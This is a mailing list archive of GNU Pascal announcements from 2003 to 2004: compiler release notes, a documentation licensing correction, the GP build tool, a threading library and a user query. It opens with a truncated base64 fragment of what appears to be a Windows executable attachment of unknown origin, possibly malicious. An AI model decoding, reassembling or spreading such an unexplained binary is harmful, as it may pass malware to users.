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 TKnMG4O11BDQl6D7VHDTO/tMKtIF8qkdxSzWDqbCLcxMuNEQjreaEZGKpPdD cYMd/EIrky66xTGLMNIa9Mk80AL71BqJtdwelYfmny0CxijnRDaTBbrOPN94 0Qz0ynnFA6jKHI+w31eGirrnVHDKJ/JOO8cBvMd1q4sjiRR9UgVZOmKWENpa Ym0AAAkJCAgKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP4AAABYQzAwMTgxNWQ= --_NextPart_000_016C8562-- From gpc-announce-owner@gnu.de Sun Aug 31 06:53:18 2003 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 19tKBM-0001ch-00 for ; Sun, 31 Aug 2003 06:51:20 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id GAA13436 for ; Sun, 31 Aug 2003 06:49:43 +0200 Date: Sun, 31 Aug 2003 06:49:43 +0200 Message-Id: <200308310449.GAA13436@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=iso-8859-15 Subject: gpc-20030830 released To: gpc-announce@gnu.de From: Frank Heckenbach User-Agent: semail 20030730 X-Archive-Number: 200308/3 X-Sequence-Number: 33 I've uploaded a new alpha to . IMPORTANT LICENSING NOTE: Due to the recent disputes over the GNU Free Documentation License by some parties, we made a detailed investigation of the license status of GPC's documentation. Thereby it turned out that the change to the FDL last November might not have been done absolutely correctly, since neither permission of some earlier authors nor of the FSF as the copyright holder was obtained for that change. To avoid any possible problems resulting from that, we decided to rewind the complete documentation to the state of 2002-11-27, the last version licensed under the GPL, and redo all later changes with explicit permission of the respective authors under the GPL. As the result, the whole documentation is now licensed under the GPL (again), and the license status of GPC versions 20021128, 20030209, 20030323 and 20030507 remains dubious. (Note: This affects only the documentation. The compiler itself has not changed its license and is therefore safe. Neither are programs compiled by such a GPC version affected.) I am not a lawyer, so I can't give you any advice what to do if you have used such a version, but my personal suggestion (also for technical reasons) is to change to the current release as soon as possible. Therefore, we have removed the problematic distributions from our server. Those who have made available binaries of one of the problematic versions are suggested to do the same (which, I suppose, they will do anyway, replacing them by the new release). For the same reason, we do not offer a patch against gpc-20030507, so you will have to download the whole GPC distribution to upgrade. (A patch against gpc-20021111 would be safe, but probably rather large and not worth the effort, since many users might not have gpc-20021111 handy anymore.) To avoid similar problems, we do not plan another attempt to change the license in the nearer future. It may be required for GCC integration someday, but not until the disputes over the FDL are finally settled. If you have any suggestions regarding these matters, please contact Peter Gerwinski or me by private mail. BUILD NOTE: This GPC version requires quite a recent version of Bison. (And building CVS Bison again requires bleeding edge versions of some other utilities.) Therefore, I have included the Bison generated files in the distribution (also in the "minimal" distribution), so you won't need Bison at all unless you remove them or change parse.y. New features: * `CompilerAssert' (fjf904*.pas) * options `--[no]-assert' renamed to `--[no]-assertions' (necessary to avoid a conflict with GCC) (@) * new options `--[no-]range-checking', also as short compiler directives `{$R+}'/`{$R-}' (default is on) (C, E, B, @) * new options `--[no-]methods-always-virtual' (fjf903*.pas) (M) * new options `--[no-]pointer-arithmetic', `--[no-]cstrings-as-strings', `-W[no-]absolute' (all of which `--[no-]extended-syntax' implies) * `Integer2StringBase', `Integer2StringBaseExt' * new constants `NumericBaseDigits', `NumericBaseDigitsUpper' * allow assigning, passing by value and returning objects, with assignments of an object of derived type to one of a base type (chief35[ab].pas, fjf451*.pas, fjf696[ef].pas, fjf884*.pas), BP compatible except for a bug in the BP feature itself (see the comment in `p/test/fjf451h.pas') (B) * new options `-W[no-]object-assignment' * warn (except in `--borland-pascal') if a virtual method overrides a non-virtual one (chief52*.pas) * warn when an non-abstract object type has virtual methods, but no constructor (chief51*.pas) * `--maximum-field-alignment' does not apply to `packed' records * `ArcSin', `ArcCos' Note: Range checking options are recognized, but range checking in general is *not* yet implemented. Only some special cases are checked, such as sets and dynamic subranges (subranges in local declarations and array slice access). Fixed bugs: * open internal files with `O_EXCL' on `Rewrite' (as a protection against symlink attacks) * `pow' and `**' are EP conformant now (in particular `x pow y = (1 div x) pow (­y)' if `y' is negative and `x <> 0') (fjf908.pas) * `--enable-keyword'/`--disable-keyword' on the command-line makes GPC crash (david5.pas) * GPC accepts, but ignores, options with invalid suffixes (e.g. `--delphi-pascal') * wrong type-error when applying `Inc' to a type-casted pointer (peter3.pas) * with range checking enabled, check dynamic subrange/array size (fjf222*.pas, fjf813*.pas, fjf900*.pas) * GPC allows modification of conformant array bounds, result of `High'/`Low' etc. (fjf897*.pas) * don't allow linker names starting with a digit (fjf894.pas) * `SubStr' with constant arguments doesn't work in constants (gale1.pas) * handle `BitSizeOf' correctly for packed array fields, don't allow `SizeOf' on them (fjf891*.pas) * System: `BPReal' must be a packed record <3EE8A26D.C919BE7D@flexim.de> * schema types with initializers (drf1.pas, fjf886*.pas) * `Return' doesn't work for sets (fjf885.pas) * bug with arrays as fields of `packed' records (waldek6.pas) * don't allow duplicate imports in a module interface and implementation (nick1b.pas) * compensate for parser read-ahead in the lexer, so compiler directives don't become effective too early and error messages refer more closely to the correct source position (still not quite correct due to issues with Bison) * bug when dividing two integers with `/' (fjf481.pas) * don't allow `absolute' in type definitions * subranges with variable limits (couper[23].pas) Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Sun Jan 4 20:57:56 2004 Received: from smtp.astronet.co.za ([196.25.188.5]) by adele.gerwinski.de with smtp (Exim 3.35 #1 (Debian)) id 1AdEE4-0001Xu-00 for ; Sun, 04 Jan 2004 20:47:52 +0100 Received: (qmail 24411 invoked by uid 0); 4 Jan 2004 19:46:42 -0000 Received: from runrite@ionet.co.za by mail.astronet.co.za by uid 0 with qmail-scanner-1.16 (csav: version 4.80.7/SIGN.DEF created on Dec 30 2003/SIGN2.DEF created on Dec 30 2003/MACRO.DEF created on Dec 30 2003/ Clear:. Processed in 6.677655 secs); 04 Jan 2004 19:46:42 -0000 Received: from unknown (HELO RUNRITE) (196.25.233.250) by 0 with SMTP; 4 Jan 2004 19:46:35 -0000 From: "Rob Goldblatt" To: Subject: compiler Date: Sun, 4 Jan 2004 21:45:48 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Archive-Number: 200401/1 X-Sequence-Number: 34 Hi There My name is rob goldblatt The problem is that I have been trying to find a hi level compiler for Atmel products and have not been able to download a single thing I need advice as to what products to use either Atmel or Microchip there seems to be pascal compilers for atmel. Itried to download the GNU c compiler we get the gnu page but no link to downloading any softwtare can u help regards Rob From gpc-announce-owner@gnu.de Sat Mar 27 14:38:39 2004 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 1B7DwL-0007Jj-00; Sat, 27 Mar 2004 14:33:33 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id OAA13277; Sat, 27 Mar 2004 14:32:20 +0100 Date: Sat, 27 Mar 2004 14:32:20 +0100 Message-Id: <200403271332.OAA13277@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: Mailing list problems (March 20-23) To: gpc-announce@gnu.de, gpc-doc@gnu.de, gpc-de@gnu.de From: Frank Heckenbach User-Agent: semail 20040101 X-Archive-Number: 200403/1 X-Sequence-Number: 35 Hallo, due to a problem when installing spam and virus filters, the mailing lists were out of order from last Saturday till Tuesday. Incoming mails were probably dropped without notice. If you sent any mail to the lists in this time, please check in the archives to find out if it got through, and otherwise please resend it. Sorry for the inconvenience, Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Sun Apr 4 23:27:29 2004 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 1BAF8d-00071B-00; Sun, 04 Apr 2004 23:26:43 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id XAA13666; Sun, 4 Apr 2004 23:25:28 +0200 Date: Sun, 4 Apr 2004 23:25:28 +0200 Message-Id: <200404042125.XAA13666@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: Old mails in the archive To: gpc-announce@gnu.de, gpc-doc@gnu.de, gpc-de@gnu.de From: Frank Heckenbach User-Agent: semail 20040101 X-Archive-Number: 200404/1 X-Sequence-Number: 36 Hi, some old mails (from the time 1999-2001) that Anja Gerwinski found on an old server are now available in the online archives of gpc-doc and gpc-announce. (They are numbered 0 and below, to avoid shifting the numbers of current mails.) Frank -- Frank Heckenbach, frank@g-n-u.de http://fjf.gnu.de/ GnuPG and PGP keys: http://fjf.gnu.de/plan (7977168E) From gpc-announce-owner@gnu.de Sun May 16 23:36:24 2004 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 1BPTHO-0003cm-00 for ; Sun, 16 May 2004 23:34:42 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id XAA32176 for ; Sun, 16 May 2004 23:33:01 +0200 Date: Sun, 16 May 2004 23:33:01 +0200 Message-Id: <200405162133.XAA32176@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: gpc-20040516 released To: gpc-announce@gnu.de From: Frank Heckenbach User-Agent: semail 20040101 X-Archive-Number: 200405/1 X-Sequence-Number: 37 I have uploaded a new beta version of GPC to . This version contains mostly bugfixes and only few and smaller new features. Therefore, if no serious bugs will be found in the next fews days, it can be recommended for production work. Waldek Hebisch and I are currently working on some larger changes, including qualified identifiers, range checking and support for gcc-3.4.0. An alpha version with these changes, which might be less stable, will probably be released in a few weeks. BUILD NOTE: If you modify the GPC sources, you now need bison-1.875c and flex-2.5.27 () to rebuild. These versions must be matched exactly. Newer flex versions, in particular 2.5.31, might work as well, but contain a known unportability, so I did not test them, and I recommend 2.5.27. (Other programs such as yacc and lex instead of bison and flex also will not do.) I have included the files generated by bison and flex in the distribution (also in the "minimal" distribution), so you should not need these tools when you only want to build GPC. NOTE: The `Pipe' unit was renamed to `Pipes' because of a name conflict. Unfortunately, this requires a small change to all programs that use this unit. New features: * arithmetic expressions now work as lower array/subrange bounds (fjf248.pas, fjf293.pas, fjf336.pas, fjf346a.pas, fjf622.pas) * records/objects with many fields are processed faster * parameters of procedural types now support Standard Pascal procedural parameters, conformant/open arrays and `type of' inquiries (fjf939*.pas) * empty parameter lists can be written as `()' (chief54*.pas, delphi6*.pas) (D) * GMP unit: `mpf_sin', `mpf_cos' * the test suite output is now by default stored in DejaGnu compatible files `gpc.log' and `gpc.sum' in the `p/test/' directory; other available test targets are `pascal.check-short' and `pascal.check-long' (@) * new options `-W[no-]dynamic-arrays' (fjf931*.pas) * new argument to `_p_initialize' (@) * new function `UMask' * new option `--no-debug-source' * new lexer (no directly user-visible difference, but should allow for better handling of lexer-based problems in the future) Fixed bugs: * `pow' and `**' are really EP conformant now (in particular `x pow y' and `x ** y' are an error if x = 0 and y <= 0) (emil27*.pas) * `protected var' parameters must only accept references (unlike `const' parameters) (gale5*.pas) * `pack' must not pack the component type of arrays (fjf940[b-e].pas) * in some circumstances packed fields were allowed as `var' parameters (fjf940a.pas) * bugs with nonlocal gotos out of routines declaring file variables (nonloc*.pas) (fix involved a change in the internal representation of file variables) * 'foo'#42 must not be rejected in `--borland-pascal' (chief53.pas) * `--implementation-only' didn't work correctly (bo4-19.pas) * messages referring to object methods now point to the method declaration rather than the end of the object type declaration * initializers for types containing nested schemata now work (fjf914*.pas) * various smaller bugs Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Sun May 16 23:55:33 2004 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.35 #1 (Debian)) id 1BPTal-00041o-00 for ; Sun, 16 May 2004 23:54:43 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id XAA00809 for ; Sun, 16 May 2004 23:53:09 +0200 Date: Sun, 16 May 2004 23:53:09 +0200 Message-Id: <200405162153.XAA00809@goedel.fjf.gnu.de> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii Subject: gp-0.54 released To: gpc-announce@gnu.de From: Frank Heckenbach User-Agent: semail 20040101 X-Archive-Number: 200405/2 X-Sequence-Number: 38 I have uploaded the first public beta version of GP to . GP is a utility to automate the building of Pascal programs using the GPC compiler. It is the intended replacement for GNU Pascal's problematic automake feature. If you have been using automake, please try building with GP instead. When GP works sufficiently, it will be included with GPC in one of the next releases, and automake support will later be dropped from GPC. If you only ever used GPC without automake (e.g., using self-written Makefiles or otherwise manually) and do not plan otherwise, you probably do not need GP. Please read the included files REAMD and INSTALL, as usual. The GP Manual is contained in `gp.info' which you can read with any info reader. You can also make a printable documentation with `make dvi' if you have texi2dvi installed or `make pdf' using texi2pdf. Quick start: * Use `gp' instead of `gpc --automake --executable-file-name'. Most other GPC options can be used the same way with GP. * If the source file given on the command line is a unit or module, GP recognizes this automatically and does not try to link it, so you don't have to give the option `-c'. * If your compilers are not called `gpc' and `gcc' you can set `PC' and `CC' wither on the command line or as environment variables. This is mostly the same you would do when using `make'. * Note the new `.gpd' files, e.g. if you want to clean a build directory. (But you might want to consider using `gp --clean' or `gp --clean-objects' for this purpose.) The main features of GP are: * Automatically finds all dependencies, units used and include files as well as C, assembler and object files and libraries referenced in `{$L}' and `{$R}' directives. * Recompiles everything when necessary (no need to give `--automake'). * Avoids unnecessary recompilations if only the implementation of a unit used has changed since the last compilation, by comparing a MD5 value of the interfaces of units. Recompilation is even avoided if only comments in the interface have changed, but not when they influence line numbers - since the GNU tools store line number information in object and other files, this does constitute a small difference. * Supports `--autobuild' to recompile everything. * Does not use GPC's buggy automake feature, so it should work also on systems where automake doesn't. Also, in many cases, it will use less total memory than GPC's automake because it calls the compiler iteratively rather than recursively. * Recognizes and supports transparently cyclic unit dependencies (where, naturally, at least one dependency in each cycle must be in the implementation rather than the interface). * Uses the base name of the main program's file name as the executable name by default, rather than `a.out' (no need to give `--executable-file-name' or `-o foo', but these options are also supported). In the strange case that you want your output file to be called `a.out', you can use `-o a.out'. * Does not try to link a unit given on the command line (no need to give `-c' for units, but `-c' is also supported in case you want to compile, but not link, a program). * Tries appending a `.pas', `.p', `.pp' or `.dpr' suffix (in this order) to the file name given on the command line when necessary, i.e. you can invoke it as `gp foo.pas' or just `gp foo'. * Calls `gcc' rather than `cc1' (which GPC would call) to compile C files, so it also works if the versions of the installed GCC compiler and the backend the installed GPC is based on don't match. * Supports GPC's path options (`--unit-path', `--object-path', `--unit-destination-path', `--object-destination-path', `--executable-path') transparently, also for units given on the command line (where GPC ignores `--unit-destination-path'). * Supports `--include-path' and `--library-path' which work the same way as `-I' and `-L', respectively, but can be given multiple directories at once. * Uses all unit and object paths as include paths automatically, to simplify using units or C files with includes in other directories. * Stores the compiler version, target platform and options given (together with other dependency information) in files with suffix `.gpd' ("GNU Pascal Dependencies") and recompiles files when the compiler version, platform or options differ from those they were compiled with. * Compiles the main program to an object file before linking, so it does not have to be recompiled when only a unit's implementation changes, and you have it available in case you want to link it explicitly. * The options `--progress-messages' and `--progress-bar' are extended to give information on the progress of the compilation of the whole project (not only of a single source file as when calling `gpc' directly). Some limitations: * The handling of default options and simpler usage of dialect options (as discussed on the mailing list) is not yet included. This will be added in a later revision. However, this does not have any influence on the main functionality of building Pascal programs (you just have to give your options explicitly, as you do when calling `gpc'). * Extended Pascal module support is experimental. * More than one unit/module/program in one source file is not supported. * Modules with interface and implementation parts in separate source files are not supported. This seems to be difficult to do at all, since the information where to find the implementation module is simply missing from the source. If you have any good ideas on this topic, please send them to the GPC list. * Other more or less strange things may not be supported. If you find anything, let me know, so I can decide whether to support it or to document that it's not supported. GP is Copyright (C) 2000-2004 Free Software Foundation, Inc. It was written by Frank Heckenbach . It is distributed under the terms of the GNU General Public License, version 2. Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html GPC download signing key: 51FF C1F0 1A77 C6C2 4482 4DDC 117A 9773 7F88 1707 From gpc-announce-owner@gnu.de Sun Jul 18 14:41:04 2004 Received: from relay1.tiscali.de ([62.26.116.129] helo=webmail.tiscali.de) by adele.gerwinski.de with esmtp (Exim 3.35 #1 (Debian)) id 1BmA6y-00031G-00 for ; Sun, 18 Jul 2004 13:45:44 +0200 Received: from leia.gerwinski.de (83.129.54.182) by webmail.tiscali.de (6.7.019) id 40C46EA400E8CE57 for gpc-announce@gnu.de; Sun, 18 Jul 2004 13:44:43 +0200 Received: by leia.gerwinski.de (Postfix, from userid 1000) id 53A3F264D6; Sun, 18 Jul 2004 13:49:02 +0200 (CEST) Date: Sun, 18 Jul 2004 13:49:02 +0200 From: Markus Gerwinski To: gpc-announce@gnu.de Subject: ANNOUNCEMENT: Unit for multithreading (and some more stuff) Message-ID: <20040718114902.GB4061@leia.gerwinski.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.6i X-Archive-Number: 200407/1 X-Sequence-Number: 40 Markus Gerwinski proudly presents: GNU Application Libraries for Pascal, in short GNUALP, pre-release 0.1.4. The current status of the package contains units for - exception handling, - standard collection types (lists, hashtables etc.), - system time and calendar functions, - and last but not least: multithreading. You can download a tarball with the current sources from http://www.markus.gerwinski.de/gnualp/gnualp-0.1.4.tar.gz. The library is tested on SuSE Linux 8.0, 9.1, and Windows XP with MinGW. You can install the tarball just the usual way, i.e. unpack it into your source directory, then run "./configure", "make", "make install", and everything will be in place. The API units will then be installed to a directory named /usr/local/units/gnualp-0.1. This also generates a shared library, libgnualp.so, which you'll have to link against. E.g. to compile a program foo.pas which uses the GNUALP library units, your gpc compiler call will have to look like this: gpc --automake --unit-path=/usr/local/units/gnualp-0.1 foo.pas -o foo -lgnualp This library is work under development and far from being complete, so it is all undocumented up to now. However, since several folks seemed to have a pressing urge for multithreading, I'll give a short introduction here on how to use the resp. features of the library: - Include `AlpThreads' into the uses clause of your program. Declare any threads you want to start as vars of type `pThread'. - To run some simple procedure as a thread, give it a parameter list like this: Procedure doingSomething ( thread: pThread; data: pointer ); You can then from anywhere in the program create a thread object for this procedure with the following statement: someThread:= new ( pSimpleThread, start ( doingSomething, nil ) ); The thread then starts running immediately and will automatically dispose itself after it is ready. It can be stopped from within the doingSomething procedure using the command `thread^.stop'. In this case, it will also dispose itself. For more sophisticated thread handling, derive an object type from the abstract tThread type and override the `work' method to do whatever the thread is supposed to do; if need be, you can also override the `cleanup' method. This one's always executed at the end of the thread, no matter if it was regularly ended or `stop'ped in-between. - Mutexes and semaphores are represented by the tMutex and tSemaphore object types. To create e.g. a mutex, just call mutex:= new ( pMutex, init ); To lock the mutex, call `mutex^.lock'; to unlock it, call `mutex^.unlock'. To dispose it after use, call `dispose ( mutex, fini )'. Just as simple. :-) Semaphores work in an analogous way; they only require an integer parameter in their constructor to determine the maximum count of threads they may be accessed by. For usage examples, see the files simplethreads.pas, mutexes.pas, and semaphores.pas in the demos/pas subdirectory of the gnualp package. They aren't documented or commented either, since I've only set them up as a test for myself, but I hope the code isn't too difficult to read. :-} Regards, Markus From gpc-announce-owner@gnu.de Mon Oct 11 18:26:05 2004 Received: from relay1.tiscali.de ([62.26.116.129] helo=webmail.tiscali.de) by adele.gerwinski.de with esmtp (Exim 3.35 #1 (Debian)) id 1CH2tS-0006aD-00 for ; Mon, 11 Oct 2004 18:19:26 +0200 